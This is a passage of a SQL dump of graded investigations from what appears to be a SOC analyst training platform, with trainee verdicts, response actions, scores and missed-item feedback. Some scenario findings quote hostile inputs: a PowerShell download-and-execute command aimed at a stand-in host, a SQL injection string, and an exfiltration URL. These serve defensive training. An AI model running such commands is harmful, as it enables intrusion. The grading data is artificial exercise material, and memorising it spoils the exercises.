(0/4)\",\"missed_items\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"strengths\":\"Needs improvement\"}', NULL, '2026-03-02 15:05:11', '2026-03-11 01:20:21', 0, NULL),
(371, 232, 268, 'graded', 78, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.100\",\"ip-10.0.0.15\",\"ip-203.0.113.45\",\"artifact_1\",\"artifact_3\"],\"selectedActions\":[\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/7/2026, 1:50:26 PM\\nALERT: Phishing Email Detected [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.100\\n- [IP] 10.0.0.15\\n- [IP] 203.0.113.45\\n- [EMAIL] abc123@example.com\\n- [HASH] 3a7bd3e2360f1edb0f3b4e5c7b6e9d5a\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (1)\\n------------------------------\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T08:20:36.127Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/4)\",\"missed_items\":[\"block_ip\",\"block_hash\",\"collect_forensics\"],\"strengths\":\"Needs improvement\"}', NULL, '2026-03-03 03:14:28', '2026-03-07 08:20:36', 0, NULL),
(372, 178, 1361, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"close_alert\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/3/2026, 3:42:42 PM\\nALERT: Initial Access via Trojanized Trading App [OP: Operation TraderTraitor]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 203.0.113.45\\n- [HASH] 5f4dcc3b5aa765d61d8327deb882cf99\\n- [FILENAME] TradePlusPro_Setup.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (7)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-03T08:42:53.354Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-03 11:47:33', '2026-03-03 08:41:33', '2026-03-03 08:42:53', 0, NULL),
(373, 178, 1362, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.25\",\"ip-185.100.87.202\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"close_alert\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/3/2026, 3:44:49 PM\\nALERT: Execution of Remote Access Trojan (RAT) [OP: Operation TraderTraitor]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.25\\n- [IP] 185.100.87.202\\n- [HASH] b9f7b3e3f5ab4a3a8f1a2f4e2a7b9d8c\\n- [USERNAME] jdoe\\n- [FILENAME] rat_executable.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (7)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-03T08:44:54.733Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-03 08:42:53', '2026-03-03 08:44:54', 0, NULL),
(374, 178, 1363, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.105\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"close_alert\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/3/2026, 3:46:36 PM\\nALERT: Persistence through Credential Theft [OP: Operation TraderTraitor]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.105\\n- [USERNAME] jdoe\\n- [HASH] f7a2edb1b4567e2d5f8e8497c9a3f378\\n- [FILENAME] wannacry.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (7)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-03T08:46:47.762Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-03 08:44:54', '2026-03-03 08:46:47', 0, NULL),
(375, 233, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-03 09:48:25', '2026-03-03 09:48:25', 0, NULL);
INSERT INTO `investigations` (`id`, `user_id`, `alert_id`, `status`, `grade`, `feedback`, `executive_summary`, `ai_summary`, `ai_evaluation_scheduled_at`, `created_at`, `updated_at`, `is_reported`, `report_reason`) VALUES
(376, 233, 1386, 'graded', 100, 'Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.1.1.1\",\"ip-10.1.1.10\"],\"selectedActions\":[\"close_alert\"],\"verdict\":\"false_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/3/2026, 1:13:19 PM\\nALERT: False Positive: Routine Internal Network Scan\\nVERDICT: FALSE POSITIVE\\n\\nKEY FINDINGS (2)\\n----------------\\n- [IP] 10.1.1.1\\n- [IP] 10.1.1.10\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (1)\\n------------------------------\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-03T12:13:40.895Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-03 15:15:41', '2026-03-03 12:10:41', '2026-03-03 12:13:40', 0, NULL),
(377, 233, 847, 'graded', 85, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/2)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-198.51.100.45\",\"ip-192.168.1.150\",\"artifact_2\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/3/2026, 1:15:19 PM\\nALERT: SQL Injection Attempt Blocked\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 198.51.100.45\\n- [IP] 192.168.1.150\\n- [PAYLOAD] \' OR \'1\'=\'1\' --\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-03T12:15:21.924Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/2)\",\"missed_items\":[\"close_alert\"],\"strengths\":\"Solid analysis\"}', '2026-03-03 15:20:57', '2026-03-03 12:13:57', '2026-03-03 12:15:21', 0, NULL),
(378, 56, 1361, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-03 15:51:36', '2026-03-03 15:51:36', 0, NULL),
(379, 56, 1392, 'investigating', NULL, NULL, NULL, NULL, '2026-03-03 19:02:37', '2026-03-03 15:52:37', '2026-03-03 15:52:37', 0, NULL),
(380, 234, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-03 19:44:00', '2026-03-03 19:44:00', 0, NULL),
(381, 234, 1433, 'investigating', NULL, NULL, NULL, NULL, '2026-03-03 22:51:21', '2026-03-03 19:44:21', '2026-03-03 19:44:21', 0, NULL),
(382, 235, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-03 20:13:02', '2026-03-03 20:13:02', 0, NULL),
(383, 235, 1378, 'investigating', NULL, NULL, NULL, NULL, '2026-03-03 23:20:28', '2026-03-03 20:14:28', '2026-03-03 20:14:28', 0, NULL),
(384, 237, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-03 23:25:53', '2026-03-03 23:25:53', 0, NULL),
(385, 189, 305, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.100\",\"ip-203.0.113.45\",\"hash-e3b0c442\",\"cmd-1\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/4/2026, 2:49:48 AM\\nALERT: Suspicious PowerShell Execution [OP: Operation Desert Mirage]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.100\\n- [IP] 203.0.113.45\\n- [HASH] e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\n- [COMMAND] powershell -NoProfile -ExecutionPolicy Bypass -Command \\\"IEX(New-Object Net.WebClient).DownloadString(\'http://malicioussite.com/payload\')\\\"\\n- [FILENAME] malicious_script.ps1\\n- [USERNAME] john.doe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Amadou MANE\",\"submitted_at\":\"2026-03-04T01:50:03.419Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-04 01:46:47', '2026-03-04 01:50:03', 0, NULL),
(386, 189, 306, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.10\",\"hash-5d41402a\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/4/2026, 2:51:13 AM\\nALERT: Persistence Mechanism Established [OP: Operation Desert Mirage]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.10\\n- [HASH] 5d41402abc4b2a76b9719d911017c592\\n- [USERNAME] john.doe\\n- [FILENAME] taskhost.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: AMADOU MANE\",\"submitted_at\":\"2026-03-04T01:51:27.139Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-04 01:50:03', '2026-03-04 01:51:27', 0, NULL),
(387, 189, 307, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.15\",\"ip-192.168.1.20\",\"ip-203.0.113.45\",\"hash-b1946ac9\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/4/2026, 2:52:56 AM\\nALERT: Unauthorized Lateral Movement Detected [OP: Operation Desert Mirage]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.15\\n- [IP] 192.168.1.20\\n- [IP] 203.0.113.45\\n- [HASH] b1946ac92492d2347c6235b4d2611184\\n- [USERNAME] j.doe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Amadoou MANE\",\"submitted_at\":\"2026-03-04T01:53:15.347Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-04 01:51:27', '2026-03-04 01:53:15', 0, NULL),
(388, 189, 308, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.1.2.15\",\"ip-203.0.113.45\",\"hash-f2ca1bb6\",\"domain-https://mali\",\"artifact_5\",\"artifact_6\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/4/2026, 2:54:38 AM\\nALERT: Data Exfiltration Attempt [OP: Operation Desert Mirage]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 10.1.2.15\\n- [IP] 203.0.113.45\\n- [HASH] f2ca1bb6c7e907d06dafe4687e579fce\\n- [DOMAIN] https://malicious-c2.com/exfil\\n- [FILENAME] geo_data_export.zip\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Amadou MANE\",\"submitted_at\":\"2026-03-04T01:54:55.259Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-04 01:53:15', '2026-03-04 01:54:55', 0, NULL),
(389, 237, 693, 'investigating', NULL, NULL, NULL, NULL, '2026-03-04 19:07:30', '2026-03-04 15:58:30', '2026-03-04 15:58:30', 0, NULL),
(390, 237, 1435, 'investigating', NULL, NULL, NULL, NULL, '2026-03-04 19:13:10', '2026-03-04 16:07:10', '2026-03-04 16:07:10', 0, NULL),
(391, 241, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-04 16:22:18', '2026-03-04 16:22:18', 0, NULL),
(392, 244, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-04 20:19:53', '2026-03-04 20:19:53', 0, NULL),
(393, 245, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-05 04:55:30', '2026-03-05 04:55:30', 0, NULL),
(394, 225, 606, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-198.51.100.25\",\"artifact_2\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/5/2026, 4:18:59 PM\\nALERT: Failed Login Attempts from Foreign IP\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (2)\\n----------------\\n- [IP] 198.51.100.25\\n- [USERNAME] admin\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (2)\\n------------------------------\\n- Block IP/Domain\\n- Reset Credentials\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-05T05:19:14.654Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-05 08:27:03', '2026-03-05 05:17:03', '2026-03-05 05:19:14', 0, NULL),
(395, 225, 1446, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.10\",\"hash-d41d8cd9\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"block_ip\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/5/2026, 4:21:49 PM\\nALERT: Suspicious App Download Detected [OP: Operation AppleJeus]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.10\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] CryptoTraderProSetup.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-05T05:21:53.666Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-05 08:30:20', '2026-03-05 05:20:20', '2026-03-05 05:21:53', 0, NULL),
(396, 225, 1447, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-143.110.227.12\",\"hash-e99a18c4\",\"cmd-1\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/5/2026, 4:23:20 PM\\nALERT: Execution of Unknown Scripts [OP: Operation AppleJeus]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 143.110.227.12\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [COMMAND] powershell.exe -ExecutionPolicy Bypass -File hidden_script.ps1\\n- [FILENAME] hidden_script.ps1\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-05T05:23:22.318Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-05 05:21:53', '2026-03-05 05:23:22', 0, NULL),
(397, 225, 1448, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.15\",\"ip-203.0.113.45\",\"hash-5d41402a\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/5/2026, 4:24:40 PM\\nALERT: Establishment of Persistence Mechanism [OP: Operation AppleJeus]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 192.168.1.15\\n- [IP] 203.0.113.45\\n- [HASH] 5d41402abc4b2a76b9719d911017c592\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-05T05:24:43.195Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-05 05:23:22', '2026-03-05 05:24:43', 0, NULL),
(398, 225, 1449, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.15\",\"hash-6f5902ac\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/5/2026, 4:26:13 PM\\nALERT: Unauthorized Lateral Movement Attempt [OP: Operation AppleJeus]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.15\\n- [HASH] 6f5902ac237024bdd0c176cb93063dc4\\n- [USERNAME] jdoe\\n- [FILENAME] mimikatz.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-05T05:26:15.724Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-05 05:24:43', '2026-03-05 05:26:15', 0, NULL),
(399, 225, 1450, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.0.0.101\",\"ip-203.0.113.45\",\"hash-b1946ac9\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\",\"escalate\",\"collect_forensics\",\"block_hash\",\"isolate_host\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/5/2026, 4:27:13 PM\\nALERT: Sensitive Data Exfiltration Detected [OP: Operation AppleJeus]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 10.0.0.101\\n- [IP] 203.0.113.45\\n- [HASH] b1946ac92492d2347c6235b4d2611184\\n- [FILENAME] wallet_keys.txt\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-05T05:27:14.809Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-05 05:26:15', '2026-03-05 05:27:14', 0, NULL),
(400, 246, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-05 07:51:20', '2026-03-05 07:51:20', 0, NULL),
(401, 246, 1383, 'investigating', NULL, NULL, NULL, NULL, '2026-03-05 11:03:39', '2026-03-05 07:54:39', '2026-03-05 07:54:39', 0, NULL),
(402, 247, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-05 11:37:14', '2026-03-05 11:37:14', 0, NULL),
(403, 247, 1438, 'investigating', NULL, NULL, NULL, NULL, '2026-03-05 14:47:39', '2026-03-05 11:37:39', '2026-03-05 11:37:39', 0, NULL),
(404, 248, 268, 'graded', 78, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.100\",\"ip-10.0.0.15\",\"ip-203.0.113.45\",\"artifact_1\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"isolate_host\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/13/2026, 4:31:41 PM\\nALERT: Phishing Email Detected [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.100\\n- [IP] 10.0.0.15\\n- [IP] 203.0.113.45\\n- [EMAIL] abc123@example.com\\n- [HASH] 3a7bd3e2360f1edb0f3b4e5c7b6e9d5a\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (2)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-13T13:32:23.474Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/4)\",\"missed_items\":[\"block_hash\",\"collect_forensics\",\"escalate\"],\"strengths\":\"Needs 